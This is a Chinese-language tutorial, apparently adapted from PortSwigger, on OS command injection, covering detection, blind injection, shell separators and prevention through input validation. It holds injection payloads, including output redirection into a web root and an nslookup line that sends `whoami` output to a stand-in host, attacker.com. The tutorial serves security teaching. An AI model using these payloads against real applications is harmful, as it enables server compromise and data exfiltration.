在本文中,我将讲述什么是系统命令注入以及如何检测和利用系统注入漏洞。并且会罗列一些针对不同操作系统比较有用的攻击命令和技术。最后则将讲述如何阻止系统命令注入攻击。
什么是系统命令注入?
操作系统命令注入(通常也称为脚本注入(Shell Injection))是一种web安全漏洞。攻击者可以利用其在运行应用的服务器执行任意操作系统命令。典型的后果是完全破坏应用程序及其所有数据。通常,攻击者还能利用这种漏洞破坏托管该应用基础设施的其它部分,并利用其它服务对该被攻击服务的信任关系将攻击转移到组织内的其他系统。
执行任意命令
考虑一个购物应用程序,该应用程序使用户可以查看特定商店中某商品是否有库存。该信息可通过如下URL访问到:
https://insecure-website.com/stockStatus?productID=381&storeID=29
为了提供库存信息,通常的做法可能都是去查询数据库之类的存储系统。但是不巧,该服务整体架构比较老旧,为了拿到库存信息,应用程序必须查询各种旧系统。由于历史原因,该功能是通过使用productID
和storeID
作为参数调用shell
命令来实现的:
stockreport.pl 381 29
这个脚本会针对给定productID
和storeID
来查询库存信息并返回给用户。
而由于该服务并没有进行任何的命令注入的防护,所以攻击者可以通过提交下面这样的查询字符串来执行任意命令:
& echo aiwefwlguh &
如果这个参数是作为productID
传入的,那么最终执行的命令会是:
stockreport.pl & echo aiwefwlguh & 29
这个echo
命令只会导致提供的字符串回显到输出,这在用来测试某些类型的注入非常有用。&
字符串是shell
命令分隔符,所以最终被执行的是三段独立的指令。所以,最终输出给用户的将可能会是:
Error - productID was not provided
aiwefwlguh
29: command not found
这三行输出可以证明:
最初的
stockreport.pl
并没有按照自己预期的参数执行,所以它输出了错误的结果被注入的
echo
指令被执行了,并且提供给它的参数回显出来了。参数
29
被当做命令去解析,所以导致了一个错误。
通常,将附加命令分隔符&
放置在注入命令之后是很有用的,因为这会将注入命令与注入点后面的内容分开。这减少了注入的命令被阻止执行的可能性。
注意:以上只是比较简单的例子,很多系统命令注入漏洞并不会直接把结果返回给攻击者,后面会讲。一些有用的命令
当你已经确定出某个应用存在命令注入漏洞后,通常可以执行一些初始命令来获取有关被你攻击的系统的信息。以下是在Linux和Windows平台上有用的一些命令:
说明 | Linux | Windows |
---|---|---|
当前用户信息 | whoami | whoami |
操作系统信息 | uname -a | ver |
网络配置 | ifconfig | ipconfig /all |
网络连接 | netstat -an | netstat -an |
运行的进程 | ps -ef | tasklist |
系统命令盲注攻击
命令注入中的很多case都是盲注漏洞。什么意思呢?就是说虽然命令确实被注入了,但是它并不会像上面的例子那样直接将结果返回回来。盲注漏洞仍然可以被利用,只是需要不同的技术。
假设一个Web站点运行用户给他们提交反馈。用户输入他们的邮箱以及反馈内容。服务端应用给管理员生成一封包含反馈内容的邮件。这个应用是通过调用mail
实现这个功能的,例如:
mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.com
假设 mail
指令的内容并不会直接通过HTTP响应返回给提交者,那么使用 echo
来检测是否可以注入的话就不太可行了。这种情况下,可以使用其它的技术来检查和利用漏洞。
使用时间延时检测命令盲注
可以通过尝试注入一个会导致响应时延的命令并对比注入前后响应的时间来确认注入的命令是否被执行。ping
指令非常适合干这个,因为它允许你指定发送ICMP包,而这会消耗时间,比如:
& ping -c 10 127.0.0.1 &
这个指令会导致应用会ping
一下127.0.0.1
这个回环地址,持续10s。
通过重定向输出利用命令盲注
另外一种方式是,你可以将命令的输出重定向到应用根目录下的某个文件,这样你可以直接在浏览器获取这个文件。例如,如果应用程序的静态资源存放在位于服务目录/var/www/static
下,那么你可以通过如下指令将命令输出写入这个目录下的文件:
& whoami > /var/www/static/whoami.txt &
>
会将whoami
指令的输出写入/var/www/static/whoami.txt
这个文件中,那这样你就可以直接通过浏览器URL https://vulnerable-website.com/whoami.txt 访问到了。
使用out-of-band(OAST)网络技术利用命令盲注
另外一种方式就是,你可以通过注入一个能够与你自己控制的服务进行交互的命令来验证。比如:
& nslookup attacker.com &
这个注入使用了nslookup
命令来查询指定域名的DNS。攻击者可以监视是否发生了指定的查找,从而检测到命令成功注入与否。
这种注入方式还提供了一种从注入的命令中提取输出的简便方法:
& nslookup `whoami` attacker.com &
这个注入命令会导致被攻击服务携带信息向攻击者控制的服务发起DNS查询。
系统命令注入常见方式
有很多种shell
元字符可以用来实现系统命令注入。有许多字符用作命令分隔符,使命令可以链接在一起。以下命令分隔符在Windows和基于Unix的系统上均可使用:
&
&&
|
||
下面这几种只能运行在基于Unix的系统:
;
换行 (
0x0a
or\n
)
在基于Unix的系统上,您还可以使用反引号或美元字符在原始命令中内嵌执行注入命令:
some injected command
$( some injected command )
注意,不同的shell
元字符的行为具有细微差异,这些行为可能会影响它们是否在某些情况下起作用,以及它们是在有回显输出的场景起作用还是只能通过盲注的方式起作用。
有时,您控制的输入会出现在原始命令的引号中。在这种情况下,需要先使用引号终止上下文(使用单引号'
或双引号''
),然后再使用适当的shell
元字符来插入新命令。
如何阻止系统命令注入攻击?
目前为止,最为有效的阻止命令注入的手段就是不以系统命令的方式执行外部输入。不执行就不会有风险,有很多种可以替代通过执行命令完成工作的手段。
但是如果你这个不可避免的非得用执行命令的方式来完成某个工作,唯一的方式就是对输入执行强校验,一些校验case如下:
使用白名单对指令校验
校验输入是否是数字
校验输入是否是基本的字符,没有空格或者其他字符。
切勿尝试通过转义shell
元字符来清理输入。实际上,这太容易出错,容易被熟练的攻击者绕开。
参考
https://portswigger.net/web-security/os-command-injection